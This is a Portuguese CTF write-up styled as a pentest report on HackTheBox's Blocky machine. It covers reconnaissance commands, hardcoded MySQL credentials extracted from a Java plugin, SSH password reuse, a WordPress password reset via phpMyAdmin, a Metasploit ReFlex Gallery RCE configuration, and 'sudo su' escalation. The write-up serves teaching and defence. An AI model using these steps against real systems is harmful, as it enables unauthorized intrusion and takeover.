Blocky CTF
Este desafio destaca os perigos das práticas de senhas fracas e a exposição de arquivos internos em um sistema de acesso público. Além disso, ele ressalta um vetor de ataque significativo - Minecraft.
HackTheBox
O HackTheBox fornece aos indivíduos, empresas e universidades as ferramentas necessárias para melhorar continuamente as suas capacidades de cibersegurança - tudo num só lugar.
BEHIND SECURITY
Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.
Introdução
A Behind Security recebeu a tarefa de realizar um teste de penetração no sistema do Blocky CTF, focando em realizar ataques similares aos de um hacker.
Para poder ter acesso ao sistema, é necessário adicionar uma entrada no arquivo /etc/hosts, conforme mostrado abaixo.
Resumo de Alto Nível
O relatório de teste de penetração conduzido pela Behind Security revelou várias vulnerabilidades e práticas de segurança inadequadas dentro da organização Blocky. Durante a avaliação, foram identificadas as seguintes descobertas-chave:
- Credenciais Codificadas: Durante a avaliação, a Behind Security descobriu credenciais codificadas para o usuário root do banco de dados MySQL dentro do código-fonte de um plugin Java. Com essas credenciais, a Behind Security obteve comprometimento completo do banco de dados MySQL.
- Reutilização de Senhas: Foi observada a prática de reutilização de senhas, permitindo acesso não autorizado a vários sistemas. É aconselhável implementar uma política robusta de senhas.
- Privilégios do Usuário “notch”: O usuário “notch” tinha privilégios sudo irrestritos, o que levou ao comprometimento completo da máquina através de um simples comando sudo su. Rever e restringir adequadamente os privilégios sudo é essencial para evitar o uso indevido.
Metodologias
- Coleta de Informações (Reconhecimento): Utilizando técnicas passivas e ativas, reunimos informações relevantes sobre possíveis pontos de entrada.
- Avaliação de Vulnerabilidades: Através de uma combinação de ferramentas de varredura automatizadas e análise manual, realizamos uma avaliação exaustiva de vulnerabilidades. A avaliação abrangeu toda a superfície de ataque, incluindo serviços de rede, aplicações web e bancos de dados.
- Exploração e Obtenção de Acesso: Com base nas vulnerabilidades identificadas, tentamos explorá-las para obter acesso não autorizado aos sistemas e aplicações. Esta etapa nos permitiu validar a existência e o impacto potencial de cada vulnerabilidade.
- Escalada de Privilégios e Movimentação Lateral: Após o acesso inicial bem-sucedido, focamos na escalada de privilégios para elevar nossos privilégios de acesso. Além disso, exploramos o potencial de movimentação lateral dentro da rede interna, simulando cenários do mundo real da progressão de um atacante.
- Documentação e Relatório: Detalhes das descobertas, incluindo descrições técnicas, impactos potenciais e evidências de exploração, foram registrados ao longo do processo de teste.
Desafio Independente – 10.10.10.37
Enumeração de Serviços
Endereço IP | Portas Abertas |
---|---|
10.10.10.37 | TCP: 21, 22, 80, 8192, 25565 |
Para verificar quais portas estão abertas no sistema, Behind Security usou o comando: nmap -sC -sV -T4 -v -p- 10.10.10.37. O resultado está abaixo.
Enumeração do Servidor Web
Os cabeçalhos HTTP do servidor web revelam que sua versão é Apache httpd 2.4.18. Além disso, identificamos a presença de um CMS WordPress em execução no servidor web. Essas descobertas fornecem informações importantes sobre a configuração do sistema e a pilha de software, que serão levadas em consideração durante as fases subsequentes da avaliação.
Enumeração do WordPress
Durante a enumeração da instância do WordPress hospedada no endereço IP 10.10.10.37, a Behind Security identificou com sucesso um usuário válido dentro do CMS. Essa descoberta pode fornecer um possível ponto de entrada para análises e testes adicionais.
Usuário descoberto: notch
Comando: wpscan –url http://blocky.htb/ -e u
Trecho da descoberta:
[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Directory Bruteforcing
A Behind Security realizou um ataque de força bruta em diretórios para obter informações adicionais sobre a estrutura do site. Essa abordagem nos permitiu explorar a árvore de diretórios e descobrir recursos ocultos, fornecendo informações valiosas para uma avaliação mais aprofundada.
Comando: gobuster dir -u http://blocky.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
Saída do comando:
Hardcoded Credentials
Durante a avaliação, a Behind Security descobriu credenciais codificadas para o usuário root do banco de dados MySQL dentro do plugin BlockyCore.jar, acessível através do link http://blocky.htb/plugins/files/BlockyCore.jar.
Para análise, a Behind Security utilizou a ferramenta Ghidra. O trecho de código fornecido destaca a presença de credenciais codificadas:
Para reproduzir a descoberta, o usuário deve seguir estes passos:
- Abrir o Ghidra: Inicie o Ghidra, a ferramenta de análise que utilizaremos para explorar o arquivo BlockyCore.jar.
- Criar um Novo Projeto: Crie um novo projeto dentro do Ghidra para organizar sua análise.
- Executar o Projeto: Uma vez que o projeto estiver configurado, execute-o para iniciar o processo de análise.
- Importar o Arquivo BlockyCore.jar: Importe o arquivo BlockyCore.jar para o projeto. Isso geralmente pode ser feito selecionando “Importar Arquivo” ou uma opção similar dentro da interface do Ghidra.
- Detecção da Estrutura do Arquivo: O Ghidra detectará automaticamente a estrutura do arquivo BlockyCore.jar importado, auxiliando na análise.
- Acessar o Arquivo BlockyCore.class: A partir da estrutura do arquivo detectada, localize e selecione o arquivo BlockyCore.class para uma análise mais detalhada.
- Captura de tela para Referência: Para orientação visual, consulte a captura de tela fornecida, que mostra a seção relevante da análise.
Acesso Inicial – Login SSH
Explicação da Vulnerabilidade: Ao utilizar a mesma senha previamente identificada para o usuário root do banco de dados MySQL, a Behind Security conseguiu fazer login como o usuário “notch” via SSH. Essa descoberta serve como evidência concreta de que credenciais idênticas estavam sendo usadas em vários aplicativos e serviços dentro da organização, representando um alto risco de segurança.
Solução para a Vulnerabilidade: Implementar uma política estrita de senhas que exija senhas únicas para cada sistema, serviço ou aplicativo usado dentro da organização.
Severidade: Crítica
Passos para Reproduzir o Ataque: Faça login via SSH como o usuário “notch”, especificando a senha previamente descoberta para o usuário root do banco de dados MySQL conforme relatado.
Acesso Inicial – RCE Através do Upload e Ativação de um Plugin Vulnerável do WordPress
Explicação da Vulnerabilidade: Durante o projeto, a Behind Security identificou uma vulnerabilidade crítica que permite a um atacante obter execução remota de código (RCE) no sistema. O cenário de ataque envolve explorar a capacidade de fazer upload e ativar um plugin vulnerável na instância do WordPress. Uma vez que o plugin vulnerável é ativado, o atacante pode aproveitar uma vulnerabilidade separada de execução remota de código presente no plugin para executar código arbitrário.
Solução para a Vulnerabilidade: Corrigir as Credenciais Codificadas mencionadas anteriormente.
Severidade: Alta
Passos para Reproduzir o Ataque:
- A Behind Security obteve acesso não autorizado ao sistema-alvo, fazendo login com sucesso na instância do phpMyAdmin em http://blocky.htb/phpmyadmin/ e, em seguida, alterou a senha do usuário “notch” do WordPress para “pwned”. Acesse o banco de dados do WordPress e vá para a tabela “wp_users”. Lá, você pode alterar informações sobre os usuários, incluindo a senha. Existe uma ferramenta online disponível para gerar um hash de senha válido do WordPress.
- Aproveitando a funcionalidade de upload de plugins dentro do WordPress, a Behind Security fez o upload da versão 3.1.3 do plugin ReFlex Gallery para o sistema e ativou-o. O link direto para download do plugin vulnerável pode ser encontrado aqui.
- Em seguida, a Behind Security usou um módulo do Metasploit (unix/webapp/wp_reflexgallery_file_upload) para acionar efetivamente a vulnerabilidade subjacente e obter Execução Remota de Código. A configuração do módulo pode ser encontrada abaixo.
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOSTS 10.10.10.37
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST tun0
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set VHOST blocky.htb
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run
Pós-Exploração
O usuário “notch” possui privilégios sudo irrestritos, concedendo privilégios administrativos completos na máquina. Como resultado, a Behind Security obteve um comprometimento total do sistema com relativa facilidade, utilizando um simples comando “sudo su“. Essa escalada bem-sucedida de privilégios demonstra a importância crítica de gerenciar corretamente o acesso ao sudo para evitar que usuários não autorizados obtenham controle extensivo sobre o sistema. Ação imediata deve ser tomada para revisar e restringir os privilégios do sudo para o usuário “notch” e outros usuários, a fim de aumentar a segurança geral e mitigar possíveis explorações.
Conclusão
Esperamos que você tenha encontrado nosso conteúdo sobre o Blocky CTF útil e convidamos você a explorar mais do nosso site para descobrir outros tópicos interessantes que cobrimos. Desde segurança cibernética até programação, buscamos fornecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manter informados e à frente do mercado. Estamos comprometidos em oferecer a melhor experiência ao usuário e estamos abertos a feedback e sugestões por meio de nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!